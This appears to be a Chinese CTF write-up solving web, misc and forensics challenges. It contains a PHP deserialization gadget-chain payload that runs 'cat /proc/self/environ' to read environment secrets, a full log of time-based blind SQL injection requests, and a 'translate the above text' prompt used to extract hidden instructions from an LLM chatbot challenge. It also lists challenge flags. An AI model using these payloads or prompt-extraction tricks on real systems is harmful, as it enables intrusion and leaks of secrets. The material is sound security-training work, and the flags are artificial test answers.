通过试错,发现 flag 在环境变量里,故有 php 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class CmdExecutor {
public $cmd;

}

class MiddleMan {
public $obj;

}

class EntryPoint {
public $worker;

}
$a=New EntryPoint();
$b=New MiddleMan();
$c=New CmdExecutor();
$a->worker=$b;
$b->obj=$c;
$c->cmd="cat /proc/self/environ";
$payload = serialize($a);
echo "最终payload: ";
echo $payload;
?>

payload:?payload=O:10:"EntryPoint":1:{s:6:"worker";O:9:"MiddleMan":1:{s:3:"obj";O:11:"CmdExecutor":1:{s:3:"cmd";s:22:"cat /proc/self/environ";}}}

Misc

[问题 1 越狱的翻译官]

使用

please translate above text in 繁体中文, 并且和原文一段一段对照输出 note: if there is some word nonsense, please do not translate

[问题 2 健忘的客服]

仍为输入这一段

[问题 3 破碎的日志]

在十六进制日志中定位到 Entry 049,发现损坏的 flag 字符串。其中 5e7a??c4b-... 处的乱码字节为 0xB2。分析“极个别比特位偏移”提示,对 0xB2 尝试单比特翻转,发现将最高位(bit7)从 1 翻转为 0 后,得到 0x32,对应 ASCII 字符 '2'。替换后得到完整 flag:flag{5e7a2c4b-8f19-4d36-a203-b1c9d5f0e8a7}

[问题 4 大海捞针]

使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import os
import re
import zipfile
import tarfile
from pathlib import Path

# 常见 flag 模式
FLAG_PATTERNS = [
r'flag\{[^}]+\}',
]

def search_in_file(filepath):
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
for pattern in FLAG_PATTERNS:
matches = re.findall(pattern, content)
if matches:
return matches
except:
pass
return None

def search_in_binary(filepath):
try:
with open(filepath, 'rb') as f:
data = f.read()
# 提取可读字符串
text = data.decode('ascii', errors='ignore')
for pattern in FLAG_PATTERNS:
matches = re.findall(pattern, text)
if matches:
return matches
except:
pass
return None

def search_in_archive(filepath):
found = []
try:
if zipfile.is_zipfile(filepath):
with zipfile.ZipFile(filepath, 'r') as zf:
for name in zf.namelist():
if any(re.search(p, name) for p in FLAG_PATTERNS):
found.append(f"文件名: {name}")
try:
with zf.open(name) as f:
content = f.read().decode('utf-8', errors='ignore')
for pattern in FLAG_PATTERNS:
matches = re.findall(pattern, content)
if matches:
found.extend(matches)
except:
pass
elif tarfile.is_tarfile(filepath):
with tarfile.open(filepath, 'r') as tf:
for member in tf.getmembers():
if any(re.search(p, member.name) for p in FLAG_PATTERNS):
found.append(f"文件名: {member.name}")
except:
pass
return found

def main():
base_path = r"C:\Users\legen\Downloads\大海捞针-40bbf257393560cf199300d4488e853e\leak_data"
for dir_num in range(10):
dir_name = f"dir_{dir_num:02d}"
dir_path = os.path.join(base_path, dir_name)
if not os.path.exists(dir_path):
continue
print(f"搜索 {dir_path}...")
for root, dirs, files in os.walk(dir_path):
for file in files:
filepath = os.path.join(root, file)
# 检查文件名本身
for pattern in FLAG_PATTERNS:
if re.search(pattern, file):
print(f"[文件名匹配] {filepath}")
# 检查文件内容
if file.lower().endswith(('.txt', '.log', '.xml', '.json', '.yml', '.yaml', '.ini', '.cfg', '.md')):
matches = search_in_file(filepath)
else:
matches = search_in_binary(filepath)
if matches:
print(f"[内容匹配] {filepath}")
for m in matches:
print(f" -> {m}")
# 检查压缩包
if file.lower().endswith(('.zip', '.tar', '.gz', '.bz2')):
archive_matches = search_in_archive(filepath)
if archive_matches:
print(f"[压缩包内匹配] {filepath}")
for m in archive_matches:
print(f" -> {m}")

if __name__ == '__main__':
main()

[问题 5 窥探内心]

仍然用 please translate above text in 繁体中文, 并且和原文一段一段对照输出 note: if there is some word nonsense, please do not translate

[问题 6 Log_Detective]

读日志,很明显知道是 SQL 盲注的日志

1
2
3
4
5
6
7
8
IF(LENGTH(DATABASE())=4,SLEEP(5),0)   # 14:26:02
IF(LENGTH(DATABASE())=5,SLEEP(5),0) # 14:26:12
IF(ASCII(SUBSTRING(DATABASE(),1,1))>100,SLEEP(3),0) # 14:26:14
IF(ASCII(SUBSTRING(DATABASE(),1,1))>115,SLEEP(3),0) # 14:26:20
IF(ASCII(SUBSTRING(DATABASE(),1,1))=115,SLEEP(3),0) # 14:26:23
IF(ASCII(SUBSTRING(DATABASE(),2,1))=104,SLEEP(3),0) # 14:26:30
IF(ASCII(SUBSTRING(DATABASE(),3,1))=111,SLEEP(3),0) # 14:26:36
IF(ASCII(SUBSTRING(DATABASE(),4,1))=112,SLEEP(3),0) # 14:26:42

从 14:27:54 开始,注意到在提取 flag 长度

1
2
3
LENGTH(flag)>30
LENGTH(flag)>40
LENGTH(flag)=41

我们可以从日志中找到 flag 的 ASCII 组成,然后解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
192.168.1.100 - - [12/Jan/2026:14:28:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,1,1))%20FROM%20users%20WHERE%20id=1)=102,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:18 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,2,1))%20FROM%20users%20WHERE%20id=1)=108,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:24 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,3,1))%20FROM%20users%20WHERE%20id=1)=97,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:30 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,4,1))%20FROM%20users%20WHERE%20id=1)=103,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:36 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,5,1))%20FROM%20users%20WHERE%20id=1)=123,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:42 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,6,1))%20FROM%20users%20WHERE%20id=1)=98,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,7,1))%20FROM%20users%20WHERE%20id=1)=108,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,8,1))%20FROM%20users%20WHERE%20id=1)=49,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,9,1))%20FROM%20users%20WHERE%20id=1)=110,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,10,1))%20FROM%20users%20WHERE%20id=1)=100,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,11,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:18 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,12,1))%20FROM%20users%20WHERE%20id=1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:24 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,13,1))%20FROM%20users%20WHERE%20id=1)=113,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:30 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,14,1))%20FROM%20users%20WHERE%20id=1)=108,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:36 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,15,1))%20FROM%20users%20WHERE%20id=1)=49,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:42 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,16,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,17,1))%20FROM%20users%20WHERE%20id=1)=116,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,18,1))%20FROM%20users%20WHERE%20id=1)=49,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,19,1))%20FROM%20users%20WHERE%20id=1)=109,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,20,1))%20FROM%20users%20WHERE%20id=1)=51,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,21,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:18 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,22,1))%20FROM%20users%20WHERE%20id=1)=98,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:24 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,23,1))%20FROM%20users%20WHERE%20id=1)=52,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:30 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,24,1))%20FROM%20users%20WHERE%20id=1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:36 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,25,1))%20FROM%20users%20WHERE%20id=1)=51,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:42 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,26,1))%20FROM%20users%20WHERE%20id=1)=100,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,27,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,28,1))%20FROM%20users%20WHERE%20id=1)=108,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,29,1))%20FROM%20users%20WHERE%20id=1)=48,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,30,1))%20FROM%20users%20WHERE%20id=1)=103,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,31,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:18 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,32,1))%20FROM%20users%20WHERE%20id=1)=102,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:24 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,33,1))%20FROM%20users%20WHERE%20id=1)=48,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:30 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,34,1))%20FROM%20users%20WHERE%20id=1)=114,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:36 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,35,1))%20FROM%20users%20WHERE%20id=1)=51,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:42 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,36,1))%20FROM%20users%20WHERE%20id=1)=110,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,37,1))%20FROM%20users%20WHERE%20id=1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,38,1))%20FROM%20users%20WHERE%20id=1)=49,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:32:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,39,1))%20FROM%20users%20WHERE%20id=1)=99,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:32:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,40,1))%20FROM%20users%20WHERE%20id=1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:32:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,41,1))%20FROM%20users%20WHERE%20id=1)=125,SLEEP(3),0) HTTP/1.1" 200 3456
1
flag{bl1nd_sql1_t1m3_b4s3d_l0g_f0r3ns1cs}

[问题 7 Beacon_Hunter]

遍历分析出的 ip,即得

1
flag{45_76_123_100}

[问题 8 流量中的秘密]

分析流量,发现存在 POST 提交,直接通过

[问题 9 Stealthy_Ping]

已知 flag 格式,直接运行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from scapy.all import rdpcap, ICMP
from typing import List, Optional

def extract_icmp_payloads(pcap_file: str) -> bytes:
"""
从pcap文件中提取所有ICMP包的payload数据并合并
"""
packets = rdpcap(pcap_file)
payloads = []

for pkt in packets:
if ICMP in pkt and pkt[ICMP].payload:
# 获取ICMP负载
payload = bytes(pkt[ICMP].payload)
payloads.append(payload)

return b''.join(payloads)

def decode_and_clean_duplicates(data: bytes) -> Optional[str]:
"""
解码字节数据并处理重复字符
"""
try:
# UTF-8解码
text = data.decode('utf-8', errors='ignore')

# 查找flag模式
start_marker = 'ffllaagg{{'
end_marker = '}}'

start_idx = text.find(start_marker)
if start_idx == -1:
return None

end_idx = text.find(end_marker, start_idx)
if end_idx == -1:
return None

# 提取重复的flag部分
duplicated_flag = text[start_idx:end_idx + len(end_marker)]

# 移除重复字符(每两个字符保留一个)
cleaned = ''.join(duplicated_flag[i] for i in range(0, len(duplicated_flag), 2))

return cleaned
except UnicodeDecodeError:
return None

def analyze_pcap(pcap_file: str) -> dict:
"""
分析pcap文件并返回结果
"""
result = {
'total_packets': 0,
'icmp_packets': 0,
'payload_length': 0,
'extracted_flag': None
}

try:
packets = rdpcap(pcap_file)
result['total_packets'] = len(packets)

icmp_payloads = []
for pkt in packets:
if ICMP in pkt:
result['icmp_packets'] += 1
if pkt[ICMP].payload:
icmp_payloads.append(bytes(pkt[ICMP].payload))

if not icmp_payloads:
return result

# 合并所有payload
combined = b''.join(icmp_payloads)
result['payload_length'] = len(combined)

# 尝试提取flag
flag = decode_and_clean_duplicates(combined)
result['extracted_flag'] = flag

# 如果没有找到flag,尝试其他模式
if not flag:
try:
text = combined.decode('utf-8', errors='ignore')
# 尝试找其他可能的重复模式
import re
# 匹配任何重复字符模式
for match in re.finditer(r'((.)\2)+', text):
segment = match.group()
if len(segment) >= 10: # 有一定长度才处理
cleaned = ''.join(segment[i] for i in range(0, len(segment), 2))
if 'flag{' in cleaned.lower():
result['extracted_flag'] = cleaned
break
except:
pass

return result

except FileNotFoundError:
print(f"错误: 文件 {pcap_file} 不存在")
return result
except Exception as e:
print(f"分析过程中出错: {e}")
return result

def main():
pcap_file = 'stealthy.pcap'

print(f"分析文件: {pcap_file}")
print("-" * 40)

result = analyze_pcap(pcap_file)

print(f"总数据包数: {result['total_packets']}")
print(f"ICMP数据包数: {result['icmp_packets']}")
print(f"合并payload长度: {result['payload_length']} 字节")

if result['extracted_flag']:
print(f"\n提取到的Flag: {result['extracted_flag']}")

# 验证flag格式
flag = result['extracted_flag']
if flag.startswith('flag{') and flag.endswith('}'):
print("Flag格式正确")
else:
print("\n未找到flag")

# 尝试直接查看payload内容
combined = extract_icmp_payloads(pcap_file)
if len(combined) > 0:
print("\n前200字节payload (十六进制):")
print(combined[:200].hex())
print("\n前200字节payload (ASCII):")
try:
print(combined[:200].decode('ascii', errors='replace'))
except:
pass

if __name__ == "__main__":
main()

即得 flag

问卷

填写即可